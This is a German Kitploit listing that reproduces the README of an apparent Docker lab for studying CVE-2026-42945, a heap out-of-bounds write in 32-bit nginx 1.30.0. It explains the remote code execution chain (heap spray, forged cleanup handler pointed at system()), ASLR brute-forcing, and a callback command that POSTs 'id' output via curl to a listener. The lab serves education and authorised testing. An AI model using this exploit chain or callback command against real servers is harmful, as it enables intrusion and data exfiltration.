Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/dinosn/cve-2026-42945-nginx32-lab
SchwachstellenanalyseExploitationWebsicherheitCTFPenetrationstestsLernen & BildungBinary-ExploitationLabs & Praxis
GitHubdinosn/cve-2026-42945-nginx32-lab

cve-2026-42945-nginx32-lab

CVE-2026-42945 nginx 32-Bit-Exploit-Lab mit ASLR aktiviert

Repository anzeigen
214vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42945 nginx 32-Bit Exploit Lab

Dieses Repository ist ein reproduzierbares Docker-Labor zum Studium von CVE-2026-42945 in nginx 1.30.0. Es enthält ein verwundbares 32-Bit-Ziel, einen primitiven Auslöser, einen laborunterstützten RCE-Validator mit bekannter Adresse und einen Brute-Force-Treiber ohne Introspection.

Die Beweisgrenze ist wichtig:

  • exploit/trigger_oob.py demonstriert die Heap-OOB-Schreibprimitive.
  • exploit/lab_known_address.py beweist den RCE-Mechanismus in Docker, ist aber laborunterstützt, da es /proc/<pid>/maps über docker exec liest.
  • exploit/remote_bruteforce.py verwendet weder SSH, Docker, /proc, ptrace noch bekannte Adressen. Es brute-forct SAFE-Heap-Seiten- und libc-Seiten-Kandidaten und behandelt den ausgehenden Callback als einziges Erfolgssignal.

Der entfernte Brute-Force-Pfad hängt weiterhin vom aktuellen ASLR-Layout des nginx-Master-Prozesses ab. Wenn die Spray-Adresse nicht durch das erforderliche URI-sichere Byte-Alphabet darstellbar ist, schlägt ein vollständiger Durchlauf fehl, bis der nginx-Master-Prozess neu gestartet oder neu geladen und ASLR neu gerollt wird. Wie der Validator mit bekannter Adresse sollte der vollständige RCE-Pfad auf einem nativen x86-Linux-Docker-Host ausgeführt werden, nicht auf einem QEMU-emulierten Docker-Desktop-Ziel.

Anforderungen

  • Docker mit Compose-Unterstützung.
  • Linux/386-Container-Unterstützung.
  • Für den vollständigen RCE-Validator mit bekannter Adresse verwenden Sie einen nativen x86-Linux-Docker-Host, auf dem /proc/<pid>/maps das tatsächliche 32-Bit-Adresslayout des nginx-Workers offenlegt. Docker Desktop auf Nicht-x86-Hosts kann das Ziel unter qemu-i386 ausführen; dies reicht aus, um den OOB-Absturz zu validieren, aber nicht die RCE-Mathematik mit bekannter Adresse.
  • Python 3 auf dem Host für die Exploit-Skripte.

Schnellstart

Erstellen und starten Sie das verwundbare 32-Bit-nginx-Labor:

root@kitploit:~
docker compose up -d --build
curl http://127.0.0.1:19331/

Lösen Sie den kontrollierten OOB-Schreibvorgang aus:

root@kitploit:~
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20

Führen Sie den deterministischen Docker-only RCE-Validator aus:

root@kitploit:~
python3 exploit/lab_known_address.py --restart-until-safe

Führen Sie den Brute-Force-Treiber ohne Introspection aus:

root@kitploit:~
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
  --shuffle --seed 42945 \
  --attempt-delay 0.02 \
  --batch-size 5000 --batch-cooldown 10 \
  --progress-every 1000

host.docker.internal wird als Callback-Host verwendet, sodass der im nginx-Worker eingebettete Befehl die id-Ausgabe zurück an den vom Exploit-Skript gestarteten Listener POSTen kann. Die Compose-Datei ordnet diesen Namen für Linux-Docker-Engines zu.

Exploitation Walkthrough

1. Das Labor erstellen und starten

32-Bit-Labor erstellen und starten

Das Compose-Ziel erstellt nginx 1.30.0 als 32-Bit-Binärdatei im Release-Stil und startet es auf 127.0.0.1:19331. Ein einfacher GET / gibt ok zurück, was beweist, dass das Ziel vor Beginn der Exploitation erreichbar ist.

2. Den OOB-Schreibvorgang auslösen

Den verwundbaren Rewrite-Pfad auslösen

Der Auslöser sendet ein erfasstes URI-Segment, das aus +-Bytes besteht, über den verwundbaren rewrite- plus set $myvar $1-Pfad. + wird von NGX_ESCAPE_ARGS escaped, sodass der Kopierdurchgang für jede Eingabe von einem Byte drei Bytes schreibt. Das Skript gibt die erwartete Überlaufgröße aus, bevor es die Anfrage sendet.

3. RCE mit Laborunterstützung validieren

RCE-Mechanismus mit reiner Docker-Unterstützung validieren

Der Validator mit bekannter Adresse ist absichtlich unterstützt. Er liest die Live-Heap- und libc-Mappings des Workers aus dem Docker-Container, berechnet die Adresse des gefälschten Cleanup-Handlers, sendet die gleiche Exploit-Sequenz auf Drahtebene und wartet auf den Callback. Die Ausgabe uid=65534(nobody) ist der nginx-Worker, der id ausführt. Dieser Screenshot stammt von einem nativen x86-Docker-Lauf; bei Nicht-x86-Docker-Desktop-Einrichtungen kann das Skript stattdessen mit einer qemu-i386-Anforderung an den nativen Host anhalten.

4. Den rein entfernten Brute-Force-Pfad ausführen

Den Brute-Force-Pfad ohne Introspection ausführen

Das entfernte Brute-Force-Skript entfernt die laborinternen Adress-Lesevorgänge. Es zählt SAFE-Heap-Seiten-Kandidaten und libc-Seiten-Kandidaten auf und verwendet nur den Callback als Erfolgsorakel. Das Erschöpfen eines Durchlaufs ohne Callback widerlegt die Primitive nicht; normalerweise bedeutet es, dass das aktuelle nginx-Master-Layout für dieses Payload-Alphabet nicht günstig ist oder der Durchlauf einen Master-Neustart/-Neuladung benötigt, um ASLR neu zu rollen.

Wie die RCE-Sequenz funktioniert

Der Exploit verwendet drei gleichzeitige Anforderungsrollen:

  1. /spray hält eine Anforderungskörper-Allokation am Leben und platziert einen gefälschten ngx_pool_cleanup_t-Datensatz sowie den Callback-Befehl im Heap-Speicher des nginx-Workers.
  2. /api/<payload> erreicht das verwundbare Rewrite-Skript und verzögert den endgültigen Anfrage-Terminator, bis die Opferanfrage vorhanden ist.
  3. / erstellt den angrenzenden Anforderungspool, dessen cleanup-Zeiger Ziel der kontrollierten OOB-Schreiboperation ist.

Wenn der beschädigte Anforderungspool zerstört wird, folgt nginx dem überschriebenen Cleanup-Zeiger. Im Labor-RCE-Pfad zeigt der gefälschte Cleanup-Handler auf system() und sein Datenzeiger auf:

root@kitploit:~
id|curl -sm3 -d @- http://host.docker.internal:9876/rce

Der Exploit-Listener behandelt diesen POST als einziges RCE-Erfolgssignal.

Bereinigung

root@kitploit:~
docker compose down

Sicherheitshinweise

Dieses Labor ist für autorisierte Sicherheitsvalidierung und -bildung gedacht. Halten Sie es isoliert, setzen Sie den Labor-Port keinen unsicheren Netzwerken aus und führen Sie den Exploit nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Tool herunterladen